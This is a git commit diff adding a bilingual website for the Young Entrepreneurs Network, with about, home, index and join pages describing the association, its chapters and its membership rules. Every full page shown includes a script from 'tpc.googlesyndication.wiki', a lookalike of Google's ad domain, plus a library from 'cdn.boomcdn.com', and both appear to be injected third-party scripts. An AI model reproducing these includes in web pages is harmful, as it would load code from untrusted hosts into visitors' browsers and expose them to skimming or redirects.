yen/website
22
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

initial commit

Browse Source
This commit is contained in:
teikseong
2026-03-29 09:33:09 +08:00
commit ed00924f21
79 changed files with 4996 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
.gitattributes
+3
View File
@@ -0,0 +1,3 @@
*.mp4 filter=lfs diff=lfs merge=lfs -text
*.jpg filter=lfs diff=lfs merge=lfs -text
*.png filter=lfs diff=lfs merge=lfs -text
about.html
+205
View File
@@ -0,0 +1,205 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="style/style.css">
<link rel="stylesheet" href="style/about.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="images/logo.png" />
<label>YEN</label>
</a>
<h2>YEN介绍</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-about-1" class="page-block block-about-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('images/block-about-1a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/block-about-1b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/block-about-1c.jpg')"></div>
</div>
<div class="main-about main-about-mask-1">
<div class="container">
<div class="content-1">
<h2 class="animate__animated animate__fadeInLeft">协会介绍</h2>
<p class="animate__animated animate__fadeInUp">YEN协会雏形草创于2008年，正式成立于2012年。是一群25-45岁青年创业家/企业接班人为主体的协会,全称：雁博青年创业家协会（Young Entrepreneurs Network）简称：Y.E.N.</p>
<p class="animate__animated animate__fadeInUp">YEN汇聚了一群有共同使命感的企业家，支持让有想法的青年企业家，学会如何创业、守业甚至为公司转型。建立一个安全的分享环境，能够帮助并打破孤军奋战的困境。希望让会员更好的享受集体资源，提供信息交流平台，为会员创造更多合作机会。</p>
<p class="animate__animated animate__fadeInUp">YEN的中文-雁，也代表着雁群效应，-雁群以V字集体飞翔，借助领头大雁产生的空气动力，使整体飞行更省力，并在过程中彼此轮换，一同前进。</p>
</div>
</div>
</div>
</section>
<section id="block-about-2" class="page-block block-about-2">
<div class="slideshow">
<div class="slideshow-5-image" style="background-image: url('images/city-1.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/city-2.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/city-3.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/city-4.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/city-5.jpg')"></div>
</div>
<div class="main-about main-about-mask-2">
<div class="container">
<div class="nav-img"><img id="nav-2" src="images/fh.png" /></div>
<div class="city-items">
<div id="content-2">
<h5>我们目前共有11个分会：</h5>
<span>北京</span>
<span>台湾</span>
<span>上海</span>
<span>香港</span>
<span>南京</span>
<span>新加坡</span>
<span>深圳</span>
<span>马来西亚</span>
<span>广州</span>
<span>越南</span>
<span>重庆</span>
</div>
</div>
<img class="map" src="images/map.png" />
</div>
</div>
</section>
<section id="block-about-3" class="page-block block-about-3">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('images/block-about-2a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/block-about-2b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/block-about-2c.jpg')"></div>
</div>
<div class="main-about main-about-mask-3">
<div class="container">
<div class="nav-img"><img id="nav-3" src="images/sm.png" /></div>
<div class="sm">
<div id="content-3">
<h3>我们的使命</h3>
<p>打造一个正循环生态，让一群企业家透过资讯交流，持续学习，相互支持，让彼此成为更好的领导者；进而改变自己与世界的命运。</p>
<h3>我们的承诺</h3>
<p>1. 协助企业会员成长</p>
<p>2. 确保会员能在雁博会找到归属感</p>
<p>3. 支持企业家进行内部深度分享</p>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>联系YEN</label>
<p>
<span>
<img src="images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#3c455952125d585155520d7c555f50534958125f5351"><span class="__cf_email__" data-cfemail="037a666d2d62676e6a6d32436a606f6c76672d606c6e">[email&#160;protected]</span></a>
</span>
<span>
<img src="images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
</span>
<span>
<img src="images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年创业家协会.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="js/jquery.cookie.min.js"></script>
<script src="js/common.js"></script>
<script>
const oContainer1 = document.getElementById('block-about-1');
const oContainer2 = document.getElementById('block-about-2');
const oContainer3 = document.getElementById('block-about-3');
const oNav2 = document.getElementById('nav-2');
const oNav3 = document.getElementById('nav-3');
const oContent2 = document.getElementById('content-2');
const oContent3 = document.getElementById('content-3');
window.onscroll = function(e) {
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
}
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
Vendored
+1
View File
@@ -0,0 +1 @@
!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,"&quot;")+'"></a>',d.childNodes[0].getAttribute("href")||""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r)}}var l="/cdn-cgi/l/email-protection#",u=".__cf_email__",f="data-cfemail",d=document.createElement("div");i(document),function(){var e=document.currentScript||document.scripts[document.scripts.length-1];e.parentNode.removeChild(e)}()}();
en/about.html
+206
View File
@@ -0,0 +1,206 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/about.css">
<link rel="stylesheet" href="../style/en.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>About Y.E.N</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-about-1" class="page-block block-about-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
</div>
<div class="main-about main-about-mask-1">
<div class="container">
<div class="content-1">
<h2 class="animate__animated animate__fadeInLeft">About Y.E.N</h2>
<p class="animate__animated animate__fadeInUp">Young Entrepreneur Network (YEN) started out back in 2008 and was formally established in 2012. Our members are aged between 24-45 and consist of entrepreneurs or successors to their family business.</p>
<p class="animate__animated animate__fadeInUp">YEN members are a diverse bunch full of unique ideas but with shared values such as continually learning, pivoting and innovating in our businesses. In doing so, we create a safe and supportive organization that bonds our members together in their entrepreneurial journey.</p>
<p class="animate__animated animate__fadeInUp">Our Chinese name 雁博会, takes a page from the wild geese, both in name, 雁(yàn) and spirit. These geese fly in a ‘V’ formation to conserve energy over the long haul and also take turns at the most tiring lead position. In YEN, we take the same approach to help each other avoid pitfalls in life and business as well as rotate leadership of the organization.</p>
</div>
</div>
</div>
</section>
<section id="block-about-2" class="page-block block-about-2">
<div class="slideshow">
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
</div>
<div class="main-about main-about-mask-2">
<div class="container">
<!-- <div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div> -->
<div class="city-items">
<div id="content-2">
<h5>We currently have 240 members from 11 chapters around the world in these cities:</h5>
<span>Beijing</span>
<span>Taiwan</span>
<span>Shanghai</span>
<span>Hong Kong</span>
<span>Nanjing</span>
<span>Singapore</span>
<span>Shenzhen</span>
<span>Malaysia</span>
<span>Guangzhou</span>
<span>Vietnam</span>
<span>Chongqing</span>
</div>
</div>
<img class="map" src="../images/map.png" />
</div>
</div>
</section>
<section id="block-about-3" class="page-block block-about-3">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
</div>
<div class="main-about main-about-mask-3">
<div class="container">
<!-- <div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div> -->
<div class="sm">
<div id="content-3">
<h3>Y.E.N’s Mission Statement.</h3>
<p>We come together in YEN to create a positive and open environment, driven by the shared belief to help members learn, share and grow in their businesses and lives for the purpose of making the world a better place.</p>
<h3>YEN’s 3 Brand Promises</h3>
<p>1. Helping you achieve business & personal growth</p>
<p>2. Creating your sense of belonging in YEN</p>
<p>3. Steadfast support in sharing your most challenging endeavors</p>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>Contact Y.E.N</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#6f160a01410e0b0206015e2f060c03001a0b410c0002"><span class="__cf_email__" data-cfemail="bfc6dad191dedbd2d6d18effd6dcd3d0cadb91dcd0d2">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 Young Entrepreneurs Network.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oContainer1 = document.getElementById('block-about-1');
const oContainer2 = document.getElementById('block-about-2');
const oContainer3 = document.getElementById('block-about-3');
const oNav2 = document.getElementById('nav-2');
const oNav3 = document.getElementById('nav-3');
const oContent2 = document.getElementById('content-2');
const oContent3 = document.getElementById('content-3');
window.onscroll = function(e) {
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
}
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
en/home.html
+165
View File
@@ -0,0 +1,165 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/home.css">
<link rel="stylesheet" href="../style/en.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>Y.E.N</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 倍伴 -->
<section id="block-home-1" class="page-block block-home-1">
<div class="slideshow">
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
</div>
<div class="home-main-1">
<div class="container">
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
<label>
<!-- <img src="../images/pb.png" /> -->
Supporting you in becoming a better leader, every step of the way
</label>
<a href="about.html">More</a>
</div>
</div>
</div>
</section>
<!-- 成长 -->
<section id="block-home-2" class="page-block block-home-2">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
</div>
<div class="home-main-2">
<div class="container">
<div id="block-content-2" class="content">
<label>
<!-- <img src="../images/cz-tc.png" /> -->
Grow with Y.E.N and push your boundaries beyond
</label>
<a href="value.html">More</a>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>Contact Y.E.N</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#9ce5f9f2b2fdf8f1f5f2addcf5fff0f3e9f8b2fff3f1"><span class="__cf_email__" data-cfemail="bbc2ded595dadfd6d2d58afbd2d8d7d4cedf95d8d4d6">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 Young Entrepreneurs Network.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oBlock1 = document.getElementById('block-home-1');
const oBlock2 = document.getElementById('block-home-2');
const oContent2 = document.getElementById('block-content-2');
window.onscroll = function(e) {
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
en/index.html
+180
View File
@@ -0,0 +1,180 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/index.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>Y.E.N</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 第一屏 -->
<section class="page-block block-index">
<div class="video-container">
<video
id="home-video"
muted
autoplay
x-webkit-airplay="allow"
x5-playsinline
webkit-playsinline="true"
playsinline="true"
loop="loop"
src="../images/video.v3.mp4"
/>
</div>
<div class="main-index">
<div class="content">
<div id="slogan" class="title">
<p class="en animate__animated animate__fadeInDown"><span>Hello,</span><span>Entrepreneurs</span></p>
</div>
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 Young Entrepreneurs Network.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oDiv = document.getElementById('slogan');
//切换视频
function tranVideo() {
const ua = navigator.userAgent
const oVideo = document.getElementById('home-video')
if(
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
ua.toLowerCase().match(/QQ/i) == 'qq'
) {
oVideo.src = '../images/video.v3.mp4'
}
else {
oVideo.src = '../images/pc-video.mp4'
}
}
tranVideo()
window.onresize = tranVideo
//切换文字
function tranSlogan() {
let i = 1
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
const cn = `<p><span>你好,</span><span>创业者</span></p>`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = cn
i = 2
}
else if(i === 2) {
oDiv.innerHTML = cnTw
i = 3
}
else if(i === 3) {
oDiv.innerHTML = en
i = 1
}
}, 2000)
}
tranSlogan()
</script>
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
<script>
function doPlay() {
document.getElementById('home-video').play();
}
doPlay();
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
document.addEventListener("WeixinJSBridgeReady", function () {
doPlay();
}, false);
//微信Android中无法自动播放处理
const ua = navigator.userAgent.toLowerCase();
const isWeixin = ua.indexOf('micromessenger') != -1;
const isAndroid = ua.indexOf('android') != -1;
if(isWeixin && isAndroid) {
document.getElementById('home-video').setAttribute('poster', '../images/poster.png')
}
document.addEventListener("click", doPlay, false);
</script>
</body>
</html>
en/join.html
+195
View File
@@ -0,0 +1,195 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/join.css">
<link rel="stylesheet" href="../style/en.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>Join Us</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="join-block-1" class="page-block join-block-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/join-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/join-2.jpg')"></div>
<div class="slideshow-3-image pc-source" data-pc-url="../images/join-3-pc.jpg" style="background-image: url('../images/join-3.jpg')"></div>
</div>
<div class="join-main-1">
<div class="container">
<h4>To join us, you must be</h4>
<ul>
<li><i>1.</i>24-45 years of age</li>
<li><i>2.</i>A business owner or successor</li>
<li><i>3.</i>Referred by a current YEN member</li>
<li><i>4.</i>Approved by current YEN members after interview and voting</li>
</ul>
<h5>We define a business owner as having an active business</h5>
<ul>
<li><i>1.</i>And holds at least 10% of its shares</li>
<li><i>2.</i>That has been running for at least 1 year</li>
<li><i>3.</i>That employs at least 3 employees</li>
</ul>
<h5>We define a business successor as having an active family business</h5>
<ul>
<li><i>1.</i>With the family holding majority shares or important board positions</li>
<li><i>2.</i>And responsible for at least one business unit</li>
<li><i>3.</i>And has worked for at least 2 years</li>
<li><i>4.</i>And named/being groomed as the successor</li>
</ul>
</div>
</div>
</section>
<section id="join-block-2" class="page-block join-block-2">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/DNA-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/DNA-2.jpg')"></div>
